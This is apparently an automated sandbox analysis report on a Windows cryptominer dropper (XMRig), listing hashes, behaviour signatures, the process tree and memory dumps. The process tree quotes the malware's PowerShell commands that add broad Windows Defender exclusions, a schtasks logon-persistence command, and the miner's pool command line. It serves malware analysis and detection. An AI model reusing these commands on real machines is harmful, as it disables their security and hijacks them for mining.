Analysis

  • max time kernel
    107s
  • max time network
    115s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 22:13

General

  • Target

    ee0752e89d5da38dfbbde44e9b4b3dd90e8cf3e8b37c2a35cf43fe69f5258344.exe

  • Size

    2.1MB

  • MD5

    9bc40b0890e81c429b325727e5ba5893

  • SHA1

    a7561d62b00391fc996ee244bba8069ed3dd6bdb

  • SHA256

    ee0752e89d5da38dfbbde44e9b4b3dd90e8cf3e8b37c2a35cf43fe69f5258344

  • SHA512

    f08fc59295e0eb348c0eec1e2670b773001be7797832df829fa42c8cbeebfb5e0e4195b8bfb962c6143ceac29e7720f753993b0b3689678ef913a0de0aec5d7f

  • SSDEEP

    49152:GvQUiuvKem70245BBqhM85yYESmScKCgwm8f63tk5LwjVg:GvQUhkz6HG5pESmSN9A4k9KVg

Score
10/10

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 16 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ee0752e89d5da38dfbbde44e9b4b3dd90e8cf3e8b37c2a35cf43fe69f5258344.exe
    "C:\Users\Admin\AppData\Local\Temp\ee0752e89d5da38dfbbde44e9b4b3dd90e8cf3e8b37c2a35cf43fe69f5258344.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1704
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\ee0752e89d5da38dfbbde44e9b4b3dd90e8cf3e8b37c2a35cf43fe69f5258344.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2536
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2808
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2748
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2660
      • C:\Windows\System32\cmd.exe
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2828
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2636
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
        3⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1332
        • C:\Users\Admin\AppData\Local\Temp\services64.exe
          C:\Users\Admin\AppData\Local\Temp\services64.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1140
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
            5⤵
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1064
            • C:\Windows\System32\cmd.exe
              "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1896
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1564
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2016
            • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2020
              • C:\Windows\System32\conhost.exe
                "C:\Windows\System32\conhost.exe" "/sihost64"
                7⤵
                  PID:2140
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr.pool.minergate.com:45700 [email protected] --pass= --cpu-max-threads-hint=20 --cinit-idle-wait=5 --cinit-idle-cpu=80
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2496

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

      Filesize

      32KB

      MD5

      703bba1d6c5595dcd7cbc5e34ed2ae33

      SHA1

      4c4e251addaf23f55350a8f1227d239d12aba92e

      SHA256

      28f55ece940bf306a301835f5500498f5ef552d0f57ca988b01ee0b584128619

      SHA512

      3c94a83a1f77b04eb91fbad142b965ca5c3bf6073e67314272aece6cd347b53f340f26aad34ba80ba65b26e186539e0327e6acd429ab6540d3eeada70199863a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      069b63f849e0092ab5d192a7d641ed78

      SHA1

      ced2ee706334562c9c2de7bbfd523a246c5d1d25

      SHA256

      b1b4d4cb569d21073ca89707a6de4a8deed13f7aa2ffab4fd5cd088af427b984

      SHA512

      751b4e7448486335f20ed576a6891ffa80f7068c026411b1573c37eb5b9b7200093f7ff96c596ceb13231f86dedc0da52726aef8bbc3c0fdb3971da0c1b13e7f

    • \??\PIPE\srvsvc

      MD5

      d41d8cd98f00b204e9800998ecf8427e

      SHA1

      da39a3ee5e6b4b0d3255bfef95601890afd80709

      SHA256

      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

      SHA512

      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

    • \Users\Admin\AppData\Local\Temp\services64.exe

      Filesize

      2.1MB

      MD5

      9bc40b0890e81c429b325727e5ba5893

      SHA1

      a7561d62b00391fc996ee244bba8069ed3dd6bdb

      SHA256

      ee0752e89d5da38dfbbde44e9b4b3dd90e8cf3e8b37c2a35cf43fe69f5258344

      SHA512

      f08fc59295e0eb348c0eec1e2670b773001be7797832df829fa42c8cbeebfb5e0e4195b8bfb962c6143ceac29e7720f753993b0b3689678ef913a0de0aec5d7f

    • memory/2140-86-0x0000000000220000-0x0000000000226000-memory.dmp

      Filesize

      24KB

    • memory/2140-85-0x0000000000060000-0x0000000000066000-memory.dmp

      Filesize

      24KB

    • memory/2496-62-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-81-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-82-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-83-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-84-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-52-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-54-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-56-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-60-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-80-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-72-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-64-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-66-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-68-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-70-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

      Filesize

      4KB

    • memory/2496-71-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-73-0x0000000000070000-0x0000000000090000-memory.dmp

      Filesize

      128KB

    • memory/2496-50-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-46-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-58-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2496-48-0x0000000140000000-0x0000000140786000-memory.dmp

      Filesize

      7.5MB

    • memory/2536-6-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

      Filesize

      9.9MB

    • memory/2536-3-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

      Filesize

      9.9MB

    • memory/2536-32-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

      Filesize

      9.9MB

    • memory/2536-5-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

      Filesize

      9.9MB

    • memory/2536-26-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

      Filesize

      9.9MB

    • memory/2536-25-0x000007FEF5F83000-0x000007FEF5F84000-memory.dmp

      Filesize

      4KB

    • memory/2536-0-0x00000000000A0000-0x00000000002C0000-memory.dmp

      Filesize

      2.1MB

    • memory/2536-1-0x000007FEF5F83000-0x000007FEF5F84000-memory.dmp

      Filesize

      4KB

    • memory/2536-4-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

      Filesize

      9.9MB

    • memory/2536-2-0x000000001B3E0000-0x000000001B600000-memory.dmp

      Filesize

      2.1MB

    • memory/2660-23-0x000000001B5B0000-0x000000001B892000-memory.dmp

      Filesize

      2.9MB

    • memory/2660-24-0x00000000027A0000-0x00000000027A8000-memory.dmp

      Filesize

      32KB

    • memory/2748-17-0x000007FEF3180000-0x000007FEF3B1D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-16-0x000007FEF3180000-0x000007FEF3B1D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-14-0x0000000001D50000-0x0000000001D58000-memory.dmp

      Filesize

      32KB

    • memory/2748-15-0x000007FEF3180000-0x000007FEF3B1D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-13-0x000000001B770000-0x000000001BA52000-memory.dmp

      Filesize

      2.9MB

    • memory/2748-12-0x000007FEF3180000-0x000007FEF3B1D000-memory.dmp

      Filesize

      9.6MB

    • memory/2748-11-0x000007FEF343E000-0x000007FEF343F000-memory.dmp

      Filesize

      4KB